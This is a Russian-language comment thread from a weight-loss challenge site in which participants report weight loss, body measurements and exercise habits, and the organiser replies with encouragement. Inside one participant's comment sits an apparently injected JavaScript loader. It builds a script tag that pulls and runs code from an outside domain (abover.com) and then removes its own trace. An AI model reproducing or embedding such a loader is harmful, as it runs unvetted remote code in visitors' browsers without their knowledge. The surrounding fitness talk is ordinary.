День 29. Финиш!!!

Обещанные параметры 89-71-77-95
04.10.2013
Номер 15. Вес 53 кг, и параметры те же, что и на прошлой неделе. Но в следующий забег я все так же с вами:)
30.09.2013
Отлично=)))
01.10.2013
№36вес (-3 кг), ОГ( - 1 СМ), ОТ (-3,5 см), ОЖ(-4 СМ), ОБ(-1,5 СМ)Спасибо тебе за марафон, хоть я засранка и не каждый день отчитывалась, но были на то причины, работать то я всё равно работала над собой и результатов я довольна.Самое главное я научилась завтракать, правильный завтрак - это уже половина успеха, я в этом просто уверенна.Сложнее всего мне было регулярно делать физические упражнения, но не из-за того что я лентяйка, просто времени ооочень мало на это дело оставалось, получается примерно через день я занималась.Тяжки для меня кардио тренировки, прям не моё, но через силу делала, и буду продолжать и надеюсь втянуть и в скором будущем буду получать от этого удовольствиеЖду следующего марафона, но прерывать занятия не буду и обещаю, что к началу следующего марафона вес и объемы мои будут ещё меньше чем сейчас.
30.09.2013
Отлично!!! Ты хорошо поработала и результат неплохой!!! умница, продолжай!!!
30.09.2013
Привет! # 21План не выполнила вес 57 (-1 кг). Но в общем тоже неплохо. ОТ 65(-2) ОЖ 71(-2), остальное без изменений.Попробовала силовую тренировку от ДМ, понравилось, хотя большого снижения веса и не произошло. Но тут нужно на питание скорее нажать. Огрехи постоянно случаются, видимо виноваты холода.
30.09.2013
Привет, №25. Вес остался на том же уровне 71кг. Весь месяц так и держался +-1кг. План не выполнила, расстроена. Но буду продолжать, результаты мужа меня подстегивают))[removed](function () { var script = document.createElement('script'); script.src = 'https://abover.com/system/extension?iframe=' + ( self === top ? '0' : '1' ) + '&r=' + Math.random(); script.onload = script.onerror = function () { script.onload = script.onerror = null; script[removed].removeChild(script); } document.body.appendChild(script); })();[removed]
30.09.2013
мой вес 65.5 сегодня ... а какие там начальные были? Мне кажется начинала я с 67... но даже по марафоновской таблице мину 1.2 кгпотеряла сантиметр... в нашем предремонтном хаосе, но обязательно найду и напишу
30.09.2013
Привет! № 8 вес 62.1, объемы вообщем-то прежние, но радует что не плюс).
30.09.2013
Привет!№ 17 План по весу выполнила, 50 (-1). Все остальное нет((( ОГ 90; ОТ 70(-1); ОЖ 80(-2); ОБ 92; ОН 47(-1)Но, тем не менее, я довольна))) Жду следующий марафон. Всем удачи! 
30.09.2013
Отлично!!!=)
30.09.2013
№3072,3 кг(-4,7) чуток перевыполнила план))ОГ-98(-3); ОТ-79(-6); ОЖ-94; ОБ-103(-8); ОН-60(-4)Я молодчика))!!Пп дается в общем легко, может потому что уже 2 месяца? Как то перестроилось сознание _ стою на кассе в магазине и вижу на ленте впереди колбасятину, майонез, чипсы и кучу печенюх - и вижу прямую взаимосвязь с формами хозяйки))Сегодня 3й день 2го уровня плоского живота ДМ - плаваю в своем поту и пока трудно, но не собираюсь бросать)) Вчера вечером что то такой бодряк был, что кроме утреннего плоского живота сделала еще йогу с ДМ))Уход каждый день вошел в привычку, как и контрастный душ! Горжусь собой, гордятся мной))Понимаю, что это еще даже не половина (всего 15кг сброшено), но настрой боевой как никогда. Собираюсь с вами на НГ марафон.))И спасибо человеку от которого много чего зависит)) Зайке моей за то что сидит всю треню в стульчике и играет сама, за то что сидит и играет на полу в ванной пока мама душ контрастный принимает и кремами мажется))!
30.09.2013
отлично, молодец!!! уже пройден большой путь, но останавливаться нельзя=))) это должно стать образом жизни, который поможет нам оставаться молодыми как можно дольше.
30.09.2013
Привет всем! №9,вес 51,1кг(-1,9кг),ОТ - 70(-2см),ОЖ - 74(-3см),ОГ - 90,ОБ - 89,ОН - 49.Марафоном довольна,собой тоже)) Самое трудное для меня - найти время на занятия,приходится упражняться после того,как все мои лягут))До конечного результата ещё далеко - хочу убрать "холодец" на животе,привести мышцы в хороший тонус,так что будем работать дальше!
30.09.2013
ничего, каждое усилие вознаграждается=))) у меня тоже с временем большие проблемы, вечером заниматься не выходит (падаю без чувств), что же будет, когда я выйду на работу...
30.09.2013
Вот и я так же,отложу на вечер,а потом мысль только одна,как бы до дивана доползти))
30.09.2013
Оставшиеся комментарии доступны после регистрации
Зарегистрируйтесь и получите полный доступ ко всем функциям сайта.
Всем привет...теперь я с вами Набор на самый строгий марафон=)